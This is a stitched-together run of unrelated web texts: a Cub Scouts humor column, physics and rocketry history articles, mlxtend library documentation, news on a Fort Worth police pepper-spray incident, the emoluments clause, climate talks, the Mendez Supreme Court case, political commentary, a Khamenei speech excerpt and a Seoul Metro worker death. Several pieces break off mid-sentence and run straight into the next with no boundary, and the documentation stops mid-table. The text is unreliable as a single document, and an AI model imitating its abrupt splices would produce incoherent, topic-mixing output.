My oldest boy Scooter is in the Cub Scouts, and I can vouch for the fact that he and his Den cohorts love to whittle. They can take a 400 pound oak log and turn it into a sharp, pointy twig in less time than it takes to whistle the theme to "The Andy Griffith Show." To be honest, they’re a pack of smelly, loud boys with a remarkable ability to recite the entire Scout oath while actually burping. I can see why girls would be clamoring to join.
In reality, most are not. And the Girl Scouts of America, which after taking into account global cookie sales, I believe is the country’s 7th largest corporation, have criticized what they see as a blatant effort to increase membership dues by the BSA. Membership numbers are down in general for youth groups across America so this may be less about gender and more about dough. Which reminds me, I also like the Thin Mints.
Back in August of this year, the president of the Girl Scouts sent a letter to the BSA president stating “…I formally request that your organization stay focused on serving the 90 per cent of American boys not currently participating in Boy Scouts… and not consider expanding to recruit girls.” That, my friends, is how you win a merit badge for subtle insult.
At this point, It would be fairly easy to morph this into a high brow column about gender fluidity and the need to be considerate over what pronouns someone uses when referring to their particular identification. Or perhaps turn to the subject of gender equality and how girls and boys are really no different and so no association or organization should exclude one or the other.
But I’m a guy, raising a houseful of little guys, and so my thinking isn’t particularly complicated. I’m guessing the BSA’s decision is partly driven by a need for additional revenue, as suggested by the Girl Scouts leadership, and likely in part out of concern that they might be sued by some overly sensitive soul who wants to prove a point that most folks really don’t care about.
I admit to being a bit old fashioned. Believing that there’s a place for a Boy Scouts organization and a Girl Scouts organization that focus on their respective genders doesn’t make me a misogynist or a sexist or anything else ending in “ist” or even an “ism.” I happen to believe that there’s value and benefit in girls having their own space and boys having their own space on occasion…as long as they offer equal space and opportunity.
I know that Scooter and his pals at their current stage of life would prefer to keep the “no girls allowed” sign on their clubhouse door. And trust me, they don’t feel triggered by the idea that they can’t join the Girl Scouts. Give them a couple years and they’ll see things differently…they may even realize girls don’t find it attractive when you make farting noises. Although to be fair, I didn’t have that epiphany until my mid 20s.
Are there a significant number of girls who feel outraged over not being part of the Boy Scouts? I would have done that research but it seems like a lot of work and I’ve been busy whittling.
Apparently the leadership of the Girl Scouts isn’t inclined to think that there’s a growing demand by girls to be Boy Scouts. For their part, the BSA leadership claims the change was designed to provide more options for parents. According to BSA’s Chief Scout Executive, “We believe it is critical to evolve how our programs meet the needs of families interested in positive and lifelong experiences for their children.”
So there you have it. Sally can now be a Cub Scout. And soon, Sally can join the Boy Scouts and eventually earn the coveted Eagle Scout award. I haven’t raised this development with Scooter yet. He may or may not care, it’s hard to tell what a 10-year-old boy’s response will be. But I’ll bet you a box of cookies there’ll be a fart noise involved.NEW ORLEANS — Black holes and superfluids make for strange bedfellows: One is famous for being so dense that light can’t escape, and the other is a bizarre liquid that flows without friction. But new computer simulations confirm that superfluid helium follows an unusual rule known from black holes — one with mysterious significance for physics.
Scientists demonstrated that entropy, a measure of the information contained in a system, behaves in a counterintuitive way in superfluid helium. Entropy grows at the same rate as the surface area of the superfluid helium, instead of its volume — mimicking how the entropy of a black hole grows as it gobbles up matter and expands. It’s the first time the phenomenon, known as the "area law," has been demonstrated in simulations of a naturally occurring state of matter. Physicists reported the result March 14 at a meetingEveryone knows how Robert Goddard built and flew the first-ever liquid fuel rocket on March 16, 1926. And they are absolutely right. Everyone also knows how this paved the road to space by allowing the construction of rockets powerful enough to leave the earth. Well, maybe not so much.
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Before 1926, Goddard was a gung-ho proponent of space travel—and especially space travel by means of rocket propulsion. After all, he'd been working on developing high-altitude rockets—under a Smithsonian Grant, yet—since 1916 and had already received patents for a liquid fuel rocket and a step-rocket in 1914.
Nor was Goddard particularly shy about promoting his ideas. In a 1920 article for Popular Science he described his scheme for hitting the moon with a rocket carrying a charge of flash powder (see the illustration). Goddard had calculated that although a visit to the moon via a manned rocket was still out of the question at the time he was writing, it would nevertheless be possible to "reach out a long arm and tickle the moon" by sending a charge of flash powder, the explosion of which could be observed from the earth. Through his experiments, Goddard had concluded that a minimum charge of 14 pounds was needed to make a visible flash visible. The magazine's editors commented that "Professor Goddard's improvement at a single step transfers the enterprise of hurling the missile to the moon from the class of impractical dreams to the domain of comparatively simple tasks."
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The press went nuts with the Goddard story. Newspapers and magazines ate it up. Goddard found himself labeled the "Moon Rocket Man" in headlines around the world.
And that is where things started to go wrong.
Although the Popular Science article inspired at least eighteen people to write to Goddard to volunteer for the first flight to the moon, others looked on Goddard's ideas with a more jaundiced eye. The London Graphic, for instance,immediately published a critique of Goddard's plans for high-altitude and moon-rockets. Some of the objections included the impossibility of safely returning instruments or passengers from such great heights, what the value might be of such an experiment, how the rocket could be protected from atmospheric friction since, "... bodies when they speed through the air are subject to friction against the air which is sufficient to generate tremendous heat," with the result that "the rocket will generate a red heat foremost of the first hundred miles." At a speed of 6.4 mps, the Graphic believed, the rocket would "vanish in an incandescent wisp of flame and smoke." Another objection to the moon rocket was that the moon and the earth are moving in different directions and at high speeds, and that there are "incalculable vagaries of air currents" above 20 miles that would make steering the rocket impossible.
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Even the New York Times chimed in, chastising Goddard for believing that rockets would work in space where they had no air to "push against." The article finished by saying that Goddard "only seems to lack the knowledge ladled out daily in high schools."
Goddard replied to these and other objections in an article for Scientific American, but to very little avail. International celebrity on the one hand and ignorant criticism on the other was too much for a shy professor of physics at a small New England college. He withdrew from the world like a frightened turtle. He refused to not only talk about his work, he refused to publish anything about it, either. He began working in strict secrecy, as far from civilization as he could get, allowing little if any news of his work to be available to other researchers. And as he entered the 1930s and 40s, Goddard grew ever more secretive and paranoid, eventually moving his work to a remote location in the desert near Roswell, NM (make of that what you will). Serious rocketeers both in the US and Europe were left flummoxed. They knew Goddard was accomplishing great things...they just didn't know how he was doing it. They were left to reinvent from scratch everything Goddard had done.
Thus the construction and launch of Europe's first liquid fuel rocket (and the first anywhere since Goddard's) was delayed until 1931. Built by German engineer Johannes Winkler the two-foot rocket achieved an altitude of nearly 300 feet.
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Winkler was a member of one the three highly influential rocket societies that had been organized during the 1920s and 30s. The Verein für Raumschiffarht (or VfR, the German Society for Spaceship Travel), the American Interplanetary Society (later the American Rocket Society) and the British Interplanetary Society (the only one of the three to exist in more or less its original form today). The first two of these performed many of the earliest serious and controlled liquid fuel rocket experiments. Unlike Goddard, however, these societies were entirely open and freely shared the results of their experiments.
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The VfR was eventually subsumed by the German military in the decade preceding World War II. Many of its members were recruited into developing the V2 and other giant rockets at Peenemunde. After the war, the V2 became the model for both US and Soviet rocket development, with most early rockets, such as the US Viking and Vanguard and the Soviet R-1, being derivatives of the German missile. It wasn't until well into the late 50s and 60s that entirely new designs were evolved. Even these benefitted, however, from the earlier German research...research that in turn had been based on the work of amateur experimenters who had been trying to duplicate Goddard's achievements.
The conclusion is that much of the development of modern rocketry, at least up through the 1950s, can be traced directly to the experiments of the VfR and ARS—and only tangentially to Robert Goddard. Claims that Wernher von Braun and the Peenemunde team merely copied Goddard's work in developing the V2 have no basis in fact. There is no evidence of any of the European experimenters having had enough access to Goddard's research to enable them to directly duplicate it. All they had to work from was Goddard's inspiration. (Having to reinvent things from scratch didn't always work out so well for everyone. After Goddard's death, his widow sued the US Government for infringing on his patents. The case was eventually settled for $1 million.)Sequential Feature Selector
Implementation of sequential feature algorithms (SFAs) -- greedy search algorithms -- that have been developed as a suboptimal solution to the computationally often not feasible exhaustive search.
from mlxtend.feature_selection import SequentialFeatureSelector
Overview
Sequential feature selection algorithms are a family of greedy search algorithms that are used to reduce an initial d-dimensional feature space to a k-dimensional feature subspace where k < d. The motivation behind feature selection algorithms is to automatically select a subset of features that is most relevant to the problem. The goal of feature selection is two-fold: We want to improve the computational efficiency and reduce the generalization error of the model by removing irrelevant features or noise. A wrapper approach such as sequential feature selection is especially useful if embedded feature selection -- for example, a regularization penalty like LASSO -- is not applicable.
In a nutshell, SFAs remove or add one feature at the time based on the classifier performance until a feature subset of the desired size k is reached. There are 4 different flavors of SFAs available via the SequentialFeatureSelector :
Sequential Forward Selection (SFS) Sequential Backward Selection (SBS) Sequential Forward Floating Selection (SFFS) Sequential Backward Floating Selection (SBFS)
The floating variants, SFFS and SBFS, can be considered as extensions to the simpler SFS and SBS algorithms. The floating algorithms have an additional exclusion or inclusion step to remove features once they were included (or excluded), so that a larger number of feature subset combinations can be sampled. It is important to emphasize that this step is conditional and only occurs if the resulting feature subset is assessed as "better" by the criterion function after removal (or addition) of a particular feature. Furthermore, I added an optional check to skip the conditional exclusion steps if the algorithm gets stuck in cycles.
How is this different from Recursive Feature Elimination (RFE) -- e.g., as implemented in sklearn.feature_selection.RFE? RFE is computationally less complex using the feature weight coefficients (e.g., linear models) or feature importance (tree-based algorithms) to eliminate features recursively, whereas SFSs eliminate (or add) features based on a user-defined classifier/regression performance metric.
The SFAs are outlined in pseudo code below:
Sequential Forward Selection (SFS)
Input:
The SFS algorithm takes the whole -dimensional feature set as input |
in the foreground of the worm/skin.This would open up for different kind of styles, and i´m sure it wont be abused for camping since ppl simply wouldnt play maps that are overusing this. I think this possibility would make the game look better without adding anything to the graphical interface, the feel would be more threedimensional then flat as it is now.This should'nt be a too huge deal in coding. Though adding one color for waterphysics would be huge, but fun.Perhaps you had these thoughts already?Fort Worth police removed an officer from patrol duties after a video posted to YouTube showed him using pepper spray on motorcycle riders as they rode past him Sunday afternoon. (Published Monday, March 14, 2016)
Fort Worth police removed an officer from patrol duties Monday after a video posted to YouTube showed him using pepper spray on a group of motorcyclists as they rode past him Sunday afternoon.
Five people were treated at the scene for exposure to the spray and one man was taken to the hospital with minor injuries, said Medstar spokesman Matt Zavadsky. Records show police called an ambulance shortly after 3 p.m.
Developing Judge Issues Arrest Warrant for Dallas City Councilman
The department announced Officer Figeuroa, whose first name was not given, would be reassigned to an administrative job while an internal investigation is underway.
Police spokeswoman Cpl. Tracey Knight confirmed late Monday that the officer used pepper spray on the passing bikers and documented it in a report.
Motorcyclist Chase Stone posted the video on his YouTube channel with the caption, "MUST WATCH!!! This is how our law enforcement chooses to 'protect and serve.'"
The video appears to show a Fort Worth police officer engaged in a traffic stop with the driver of a red pickup truck when a large number of motorcycles begin to pass their location. As the riders pass, video recorded on a camera worn by one of the riders shows the officer exit his patrol car and spray a yellow mist into the air in the direction of the roadway.
The footage was slowed down and zoomed in to highlight the officer's actions.
Fort Worth police said they received several 911 calls from drivers reporting hundreds of motorcyclists weaving in and out of traffic along Highway 287.
An incident report obtained by NBC 5 confirmed Fort Worth Police Officer W. Figueroa pulled over a red pickup truck along Highway 287 at about 3 p.m. Sunday for "blocking traffic to rocord [sic] motorcycles driving recklessly."
Stone's YouTube channel contains at least one video showing dozens of trick riders performing stunts on highways, driving in emergency lanes and riding in both lanes of traffic on inner-city roadways -- that video was not recorded Sunday afternoon.
Brittany Botella, who is six months pregnant, said she was driving the red pickup truck and was cited only for driving without a license. One of her passengers, Markus Hernandez, who has asthma, was hospitalized and given breathing treatments after being exposed to the mist, which Botella believed was Mace.
"I looked out my mirror and I seen [sic] all the Mace going towards all the bikes. And then it hit us. And then I started choking and that's exactly what happened," Botella said.
She said the officer initially confiscated their phones but later returned them.
Hernandez told NBC 5 he and another passenger were riding in the back of the pickup truck and were each ticketed for standing in the back of a moving vehicle.
"I think it's not right. I don't think officers should be able to do that just because they've got a badge. We weren't showing no force of hurting him, none of that. He just jumped out with brute of force and sprayed everybody," Hernandez said. "If he would have gotten one of those bikers there would have been a lot of deaths. It wouldn't just be hurt. People would be dead."
FWPD Investigate Claim Officer Sprayed Bikers With Mace
Fort Worth police are investigating a video posted to YouTube that motorcycle riders allege shows an officer spraying Mace on them as they rode past him Sunday afternoon. (Published Monday, March 14, 2016)
Knight said in an email Monday morning, "The Fort Worth Police Department takes any complaint of officer misconduct very seriously and this incident will be investigated thoroughly."
Anyone with information about the incident is asked to call police at 817-392-4270 or 817-355-4222."D.C. and Maryland are suing President Trump for violating a little-known constitutional provision called "the emoluments clause." (Jenny Starrs/The Washington Post)
Last week, nearly 200 congressional Democrats filed a lawsuit against President Trump, alleging that he is violating the emoluments clause of the Constitution by accepting payment from foreign visitors to his hotels. Two days earlier, the attorneys general of the District and Maryland had filed their own lawsuit alleging the same.
The emoluments clause has become a rallying cry for those who think that Trump is more interested in making money off his presidency than in actually governing — and that payments from foreign nationals at Trump properties appear to match the concerns about foreign influence that the founders had in mind when they wrote the clause.
But like many things with Trump, holding him accountable on his promise to donate such funds to the Treasury Department will probably be difficult — and a recent denial of a Freedom of Information Act request by the agency shows just how tough it will be to ensure that all payments from foreign visitors are handed over to the government.
Several months back, I filed a request seeking records of any donations to the Treasury Department made by the Trump Organization, the president, his sons and Allen Weisselberg, the organization’s chief financial officer. In April, Treasury denied my request, saying that I would need detailed information like bank account and routing numbers for the agency to search its logs for donations from Trump or his organization.
Obviously, that’s something the president and his organization probably aren’t going to hand over. Which means getting independent verification from the government that the Trump Organization really is donating foreign-origin profits from its hotels could be close to impossible.
“This is emblematic of this hyper-bureaucratic procedural dance that, too often, agencies require requesters to play,” said Adam Marshall of the Reporters Committee for Freedom of The Press. “I think ultimately, FOIA is not supposed to be a game where requesters have to know magic words and incredible amounts of specific information in order to get the records they’re seeking.”
Zephyr Teachout, a law professor and one of the attorneys working on an emoluments lawsuit brought against the president by the legal watchdog group Citizens for Responsibility and Ethics in Washington, said the denial was just another sign that it would be difficult to hold Trump accountable on his promise to donate foreign profits.
[Trump is getting payments from foreign governments. We have no idea what they are.]
“When I say Trump’s plan lacks oversight, that’s actually being too kind, because there simply is no oversight,” Teachout said. “It’s basically entirely up to the whims of the president.”
In its letter to me, the Treasury Department noted that the Trump Organization announced in March that it would donate foreign profits from 2017 some time in 2018. But the company has never given specifics as to how foreign payments would be tracked, and an internal document released in May showed that the organization would not ask guests whether they were associated with foreign governments.
“It is not the intention nor design of this policy for our properties to attempt to identify individual travelers who have not specifically identified themselves as being a representative of a foreign government entity,” the document read.
So the Trump Organization says it won’t dutifully track foreign payments, and Treasury says that, without the organization’s bank and routing numbers, it’s unable to produce records of any donations.
“An agency has the responsibility to look for records when it gets a request,” Marshall said. “It can’t just say, ‘here’s a news article that is somewhat related to your request.’ ”
Even if Trump donates every penny earned from a foreign national spending the night in one of the president’s hotels, Teachout thinks he would still be in violation of the emoluments clause.
“It’s like sinning and then paying a penance, except you don’t get to sin against the Constitution,” she said.
[How President Trump could use the White House to enrich himself and his family]
The White House did not respond to a request for comment on the Trump Organization’s plans to donate foreign payments, the Trump Organization could not immediately be reached for comment, and Treasury did not return a request for comment on its denial of my records request. But a Justice Department motion filed last week to dismiss CREW’s lawsuit shows just how little Trump thinks he is in violation of the emoluments clause — a sin he says he has not committed but is willing to pay penance for, in Teachout’s parlance.
“[CREW’s] broad-brush claims effectively assert that the Constitution disqualifies the President from serving as President while maintaining ownership interests in his commercial businesses,” the government wrote in a 50-plus page memo attached to its motion to dismiss.
Government lawyers argued that CREW hasn’t actually been harmed by Trump, as its lawsuit alleges. Furthermore, the attorneys argued, claims made by restaurant and hotel owners represented in the lawsuit that they’re losing business as visitors in New York and Washington flock to Trump’s properties are without “sufficient facts to support any nonspeculative loss of business due to competition with restaurants and hotels in which the President has financial interests — let alone the nonspeculative loss of government-affiliated and funded patrons.”
While CREW has yet to file a response to the government’s motion to dismiss, Teachout criticized the filing as “a vision of incredibly broad presidential immunity that simply doesn’t line up with the Constitution itself.”
Regardless of the outcome of the litigation, it’s likely that Trump will eventually make a show of donating money from foreign visitors to his properties. But whether there will be any way to fact-check his claim of donating all profits from foreign visitors is another matter entirely.
“Even if we knew how he planned to track foreign payments in order to donate them, there is zero oversight,” Teachout said. “The basic story is that we are simply being asked to trust him.”
Read more:
Trump hasn’t solved any of his conflicts of interest
Trump leases his D.C. hotel from a federal agency he’s now in charge of
Ivanka Trump’s West Wing role isn’t just unethical. It’s also dangerous.'We must commit ourselves very resolutely because there isn't an alternative solution, for the simple reason that there isn't an alternative planet,' says the French foreign minister
Published 9:44 PM, May 18, 2015
BERLIN, Germany - France's foreign minister warned Monday, May 18, that the international community had no option but to combat climate change as there is "no alternative planet."
"We don't have the right to fail," Laurent Fabius told the opening of a 2-day gathering in Berlin of representatives from 35 countries to pave the way for a global push to cut emissions.
"We must commit ourselves very resolutely because there isn't an alternative solution, for the simple reason that there isn't an alternative planet," he added.
The informal talks are taking place under the "Petersberg Climate Dialogue" initiative, launched by Chancellor Angela Merkel in 2010, to prepare for the UN Climate Change Conference in Paris in December.
French President Francois Hollande has set out an ambitious goal for the Paris meeting - an agreement to limit the rise in global temperatures linked to greenhouse gas emissions to 2 degrees Celsius (3.6 Fahrenheit) from the pre-industrial age.
Hollande and Merkel are due to attend the Berlin talks on Tuesday.
Fabius said that several other meetings were still scheduled before the Paris conference but warned that its success "depends on us all."
Just under 40 countries have already presented their plans towards helping achieve the target eyed at the Paris meeting, Fabius said.
"It's essential that everyone, starting with the rich countries, publishes them" before the deadline of October 30, he added.
German Environment Minister Barbara Hendricks said there was a "moral obligation" to fight climate disturbance and reiterated Berlin's objective of reducing carbon dioxide emissions by 40 percent by 2020 from 1990 levels. - Rappler.comThe Supreme Court in Washington. (J. Scott Applewhite/Associated Press)
Last week, I wrote about L.A. County v. Mendez, a case currently before the Supreme Court. In the case, the police were looking for a rogue parolee. They got a tip from an informant that the man they were looking for was seen riding a bicycle past a particular house. Based only on that, two deputies searched the house without a warrant. They then saw a small shack in the back yard. They were told that the woman who owns the house had let a down-on-their-luck couple — Angel and Jennifer Mendez — live in the shack until they were back on their feet. The two deputies then searched that residence without a warrant as well. When the deputies opened the door, Angel Mendez reached for a BB gun he kept near the bed. He later said he wasn’t even reaching for the gun to scare away the intruders, only to move it so he could get out of bed. The two deputies opened fire, striking both Angel and Jennifer. Angel Mendez was shot several times and lost part of his leg. Jennifer was shot in the back.
The lower courts determined that the officers violated the Mendezes’ Fourth Amendment rights on two occasions. First, they failed to obtain a warrant before searching the home. And second, they failed to knock and announce before entering the residence. But on the second violation, the failure to knock and announce, the lower courts determined that the officers were protected by qualified immunity. Because the Mendezes did not live on a separate property from the main house, the federal courts found that a reasonable police officer could be confused about whether he or she was required to knock and announce before entering.
At issue before the Supreme Court — or at least so we thought — is the “provocation doctrine,” a bit of case law unique to the 9th Circuit. The doctrine holds that if the police violate someone’s Fourth Amendment rights, and that violation is the proximate cause of an escalation that leads to harm caused to the plaintiffs, then the police officers are liable for that harm. In the Mendez case, the lower courts held that because the police violated the couple’s Fourth Amendment rights by not obtaining a warrant, and because that violation caused Angel Mendez to legally and reasonable reach for his gun, which caused the deputies to open fire, the deputies are liable to the injuries sustained by the Mendezes. In every other federal circuit, the deputies would not be liable, because the courts would look only at the immediate cause of the injuries — the deputies firing their guns. Because their use of force was reasonable — they were reacting to Angel Mendez reaching for what looked like a real gun — they wouldn’t be liable, even though Mendez would have been entirely justified in defending his home. Only the 9th Circuit recognizes that it was the deputies’ initial violation that escalated the situation. The attorneys for the Mendezes were asking the court to apply the provocation doctrine to the entire country. Los Angeles County was asking the court to strike down the doctrine in the only circuit where it exists.
After oral arguments last Wednesday, it seems as if there’s a good chance that the court will do neither. Of course, all the usual caveats about the perils of predicting Supreme Court cases by oral arguments apply here. But the Roberts court has a reputation for punting on cases when it can — for avoiding big issues if it can dispose of cases by looking to smaller ones. In Mendez last week, the court’s conservative justices suggested that the case may not even need to get to the provocation doctrine. Their reasons why tell us a lot about the immense protections police officers enjoy from the federal courts, even when they’ve caused serious harm.
Chief Justice John G. Roberts Jr. and Justice Samuel A. Alito Jr. in particular argued that the proximate cause of the shooting wasn’t the deputies’ failure to obtain a warrant, but their failure to knock and announce before entering the Mendezes’ home. Even if the deputies had obtained a warrant, the justices argued, they’d still likely have entered without knocking or announcing. That is what caused Angel Mendez to reach for his gun, which in turn caused the officers to open fire. And because the officers were given qualified immunity for their failure to knock and announce (this wasn’t at issue for the Supreme Court), they could not be held liable for the injuries they inflicted on the Mendezes.
There are a lot of assumptions built into this line of argument, all of which tend to benefit the deputies. First, it’s just assumed that if they had applied for the warrant, they would have been granted one. Perhaps that’s true. Unfortunately, judges in general aren’t all that skeptical about search warrants, and police tend to avoid the judges who are. But it’s far from clear whether the deputies should have been given a warrant had they gone to the trouble of asking for one. The only cause they had to search either residence was a tip that an anonymous informant had spotted someone who looked like the parolee riding a bicycle in front of a particular house. That’s it. From that tip, the police entered and search not one, but two residences. If the parolee had been seen riding past several houses, would the police have been justified in searching all of those, too? That seems to be inferable from the 9th Circuit opinion:
The officers “developed a plan” in which some officers would proceed to the Hughes house, but because “the officers believed that there was a possibility that Mr. O’Dell already had left the Hughes residence,” others would proceed to a different house on the same street.
Second, several of the justices’ questions appear to just assume that if the officers had obtained a warrant, they’d still have entered without knocking or announcing. I don’t think that’s at all a given. In merely going through the process of obtaining a warrant, the officers would likely have been reminded of the fact that they need to meet a higher burden to obtain a no-knock warrant, which would have (or at least should have) reminded them that without a no-knock warrant, they’d be required to knock and announce themselves before entering. Instead, they entered both homes rashly, and without much thought about the rights of the people inside. Perversely, the assumption that these two deputies would have entered the Mendez residence without knocking and announcing even if they had obtained a warrant both reflects poorly on how the justices view these officers, but still manages to do so in a way that offers them added legal protections. Because if the deputies would have entered without knocking and announcing regardless of whether or not they obtained a warrant, their failure to obtain a warrant is removed as a proximate cause of the shooting. The shooting is then solely due to the deputies’ failure to knock and announce, and for that violation they’ve been granted qualified immunity. Even when the justices assume the worst about police officers, police officers benefit.
Los Angeles County officials also argued that if the Supreme Court were to preserve the provocation doctrine, it could endanger the lives of police officers. Attorney Joshua Rosenkrantz told the justices, “when a police officer reasonably thinks to himself … this is where I’m going to die, he has to be free to make the split-second decision to defend himself and those around him. Any legal rule that says that is unreasonable is untenable.” The added assumption here is that this is true even when the police officers’ own mistakes created the peril in which they now find themselves.
There are a couple of problems with this argument. First, it puts cops above the law. When police officers illegally enter a residence without a warrant, they are no longer police officers, they are trespassers. Let’s say you or I illegally break into someone’s home. The homeowner reaches for a gun and, reasonably fearing for our safety, we shoot the homeowner. We’d almost certainly be both criminally and civilly liable. The County of Los Angeles believes that when police officers do the same thing, they should be neither. Second, the argument that to uphold the provocation doctrine would somehow make police officers less likely to use lethal force when their lives are at risk after they’ve mistakenly violated the Fourth Amendment just doesn’t pass the smell test. If the officers’ violation wasn’t intentional, they likely wouldn’t know until well after the incident that what they did was illegal. In the Mendez case, the provocation doctrine was in effect. It certainly didn’t stop the deputies from opening fire on the Mendezes. (If only it had.)
Third, in nearly every jurisdiction in the country, police officers are indemnified in cases like this one. So even if the Supreme Court rules against the officers in Mendez, the award won’t come out of their pockets, it will come from Los Angeles County. The hope here is that such awards persuade the county to better train its officers. So even if financially penalizing cops for damage inflicted that was the proximate cause of a Fourth Amendment violation somehow could deter cops from committing such violations in the future, it wouldn’t matter, because cops in these cases rarely suffer any financial penalty. There have been a few cases in which cops found to have committed egregious abuses were hit with punitive damages, or where a municipality refused to indemnify. But it’s rare. At worst, the police officers might suffer some indignity or public embarrassment at being named in a lawsuit. And yet despite widespread indemnification, attorneys for police in these cases still argue that finding civil liability will alter cops’ decision-making process as if they themselves would be paying out any damages.
In the end, if the Supreme Court finds that these two deputies aren’t liable, the only people who will suffer will be Angel and Jennifer Mendez. These weren’t criminals. They weren’t harboring the rogue parolee. They did nothing wrong. The two deputies violated their Fourth Amendment rights not once, but twice. Even if they had obtained a warrant, the justification for their barging into the Mendez home was weak at best. Angel Mendez reached for his gun not even to shoot or point it at the deputies, but merely to move it. In response, the deputies shot the couple a combined seven times. Angel Mendez lost part of his leg. This couple did nothing wrong. They suffered pretty severe injuries. And yet it’s possible that they’ll get nothing for it.
The saving grace for the Mendezes might be the current lineup of the court. The one option that seems off the table entirely is applying the provocation doctrine to the entire country. Striking down the doctrine also seems unlikely, given that Roberts and Alito don’t think the case requires it.
The most likely outcome: Everything stays as it is. The U.S. Court of Appeals for the 9th Circuit upheld a jury award to the Mendezes of $4 million. For the court to overturn that, Roberts and Alito would need Justices Clarence Thomas and Anthony M. Kennedy to join them, along with one of the four left-leaning justices. Thomas seems likely. Kennedy seemed uncomfortable with the provocation doctrine, but also seemed to want to find some way to make the Mendezes whole.
But the Mendezes could also lose. While the more liberal justices seemed sympathetic to the Mendezes’ case at first, even they seemed at least somewhat convinced by Alito and Roberts as the arguments went on. A tie vote would uphold the 9th Circuit ruling on the award, but have little impact on future cases. And it’s worth noting again that had this happened in any other federal district, the couple would never have gotten this far.
However the case comes down, L.A. County v. Mendez is a powerful illustration of how the courts have made it nearly impossible to win damages against police officers, even when the victims were severely harmed and had no culpability themselves, and even when the courts agree that the officers clearly violated the Constitution."STIMULUS", AKA ECONOMIC CRANK slang, noun. "Stimulus" is slang for a sordid economic nostrum administered on the advice of bankers and academics, many of them carrying the title of "Dr.". But don't mistake these "Doctors" for devotees of the Hippocratic Oath. "Stimulus" or economic crank, like any other economic panacea, is a fake cure that gives its victims a temporary but false sense of well-being, even as it sets about causing long term damage to users and the economic community at large. The opium of the economists know as "stimulus" acts directly on bread winners and investors by misdirecting them into production plans and consumption levels which cannot be successfully coordinated or sustained across time. As a consequence, the "high" of this political drug lasts for only a few months, often followed by a depressing "crash" period, which cannot be avoided without further and ever increasing quantities of "stimulus". The drug received its proper name "crank" because it was most often smuggled into policy debates by monetary cranks, the most famous of whom was John Maynard Keynes. "Stimulus" is taken by fiscal injection, monetarily (directly snorted by banks and borrowers), and through the consumption of pork. A common misconception among politicians and the public is that some administration methods are safer than others, while in reality all act on the economy the same exact way. Economic "crank" damages the coordinative function of prices across the structure of production and consumption, which cause naturally occurring price signals -- e.g. interest rates, stock prices, etc. -- to be ineffective. Because price signals are responsible for facilitating the coordination of production plans and consumption choices, withdrawal from sustained periods of artificial "stimulation" is extremely painful to economic actors and the economy system, with businesses and households thrown back into economic reality after having functioned for a time in a circus mirror, government-altered state without any naturally produced and undistorted relative prices to guide their plans. "Stimulus" withdrawal is said to be one of the most painful experiences an economy can endure, and users of economic "crank" should consider other safer ways to buy the support of voters. Hat tip to the Urban Dictionary. For more on the topic see Russ Roberts, " The Science of Stimulus ". Cross-posted at PrestoPunditJames Says Donald Trump’s “Made Racism Great Again”
As the President fires the head of the FBI who he once praised, James says there’s only one reason why people could still support Trump.
James Comey, who Trump praised for re-opening the investigation into Hillary Clinton's emails, was fired by the President yesterday. The FBI are currently investigating links between Russia and the US election.
In spite of this, and other problems, many stand steadfastly by Trump. James says given how little he's done, there's only one reason James can see for this.
"All I've got is that he's made racism great again."
It has been suggested in America that Trump’s support is based on ‘cultural insecurity’ less than economic hardship. James doesn’t accept this.
“Now you get tweets and text messages, and you see them on FOX News, from people who live in Kentucky, people who don't even have a passport who will explain to you why Germany and Sweden and France are all no go zones.”
He says these views contrast with France “resoundingly rejecting a fascist” and Angela Merkel with strong poll leads after she invited “one million souls” into the country, which upsets “people in America and Britain who quite like facism.”
After all this, and the latest murky issue of Trump firing the head of the FBI, James asks a question.
“What else has Donald Trump done that would explain why people will switch off their brains on this sort of scale?
“What did Donald Trump say during his election campaign? I could shoot someone on Fifth Avenue, I could shoot someone dead on Fifth Avenue, and they'd still love me.
“So my question is; why? And all I've got is that he's made racism great again.
“People who've spent the last twenty or thirty years being profoundly and rightly ashamed of the bigotries and prejudices lurking in their hearts have suddenly been able to articulate them again.
“Suddenly it's acceptable again.
“It's fantastic, it's a great time to be a racist. We've made racism great again."Politics
In a country and economy that relies on underground resources and that is completely dependent on natural and effortless wealth, outstanding personalities are neither recognized, employed, nor needed. When we decide to dig our historical wealth out of the ground and sell it in the crude form and when we decide to manage the country like rich guys – let us say it this way: like the rich guys who do not appreciate the value of money and who spend money the way they like – then outstanding personalities will neither be recognized nor needed. Besides, they will not be able to play any role.
And the result is that the fate of the country will be in the hands of those people who formulate major policies in the world of oil and underground resources. Today, the situation is like this. They may decide to reduce the price of oil. All of a sudden, you see that the price of oil has gone down by 20 dollars. For example, it was 105 dollars until yesterday, but now you have to sell it at 85 dollars. These are global polices. It is clear what the future of a country that entrusts its economy to those politicians and decision-makers who act against its benefits will be.
The country should be managed by domestic resources, it should be managed by above-ground resources – that is to say, by our inner talents, our human resources and the intelligence of our youth. If this happens, no power in the world will be able to grasp the economic fate of the country or whatever is related to the economy of the country and to use it as its plaything. Therefore, we should pursue knowledge and research. This task is a necessary one.
Of course, knowledge production that we spoke about should not be confused with article production. The statistics that are released and the articles that are published – the scientific articles that have become a reference point in the world and some of which are valuable – are good and valuable things, but this is not the whole issue. First, articles should lead to invention and second, they should address the domestic needs of the country. Both universities, and research and scientific centers should pursue and stress this.
* Ayatollah Khamenei’s Speech in Meeting with Participants of 8th Elite Youth ConferenceThe House is set to vote on the Trump administration's American Health Care Act Thursday. | Getty Trump on health care vote: ‘We’ll see what happens’
President Donald Trump on Wednesday sounded less than confident that the House GOP health care bill is on sound footing.
When asked by a reporter at a women in healthcare panel if he will keep trying if the House doesn't successfully repeal and replace Obamacare this week, Trump demurred.
Story Continued Below
“We’ll see what happens,” Trump responded.
The remark was somewhat tepid compared to others in the administration, who have expressed confidence that the bill would pass through the House. On Tuesday, Health and Human Services Secretary Tom Price said in a radio interview that the Trump administration would “make this happen,” and during an appearance on an Alabama radio station Wednesday, Vice President Mike Pence said the administration was “very confident” they would have enough votes.
Earlier Wednesday, Trump tweeted that he was “Working hard!” on the final day to secure the votes needed to pass the American Health Care Act through the House. The administration has been meeting with legislators to try to secure the number of votes needed to push the bill through, but has still been coming up short ahead of the vote expected on Thursday. Trump has threatened that some Republican legislators might face primary challenges if they do not support the bill.A 19 year old screen door maintenance worker, subcontracted with Seoul Metro died on Saturday May 29th. He was repairing the screen door when he was trapped between the door and the platform and killed by incoming train.
Seoul Subway operator, a public corporation, Seoul Metro is blamed for the death. Seoul Metro’s slack safety has been largely criticized since the first accident regarding safety issue occurred in 2013. This was a third time of this kind of fatal accident of workers.
The victim, surnamed Kim was working by himself without a supervisor nor a coworker to notify him from approaching train, violating safety guide lines.
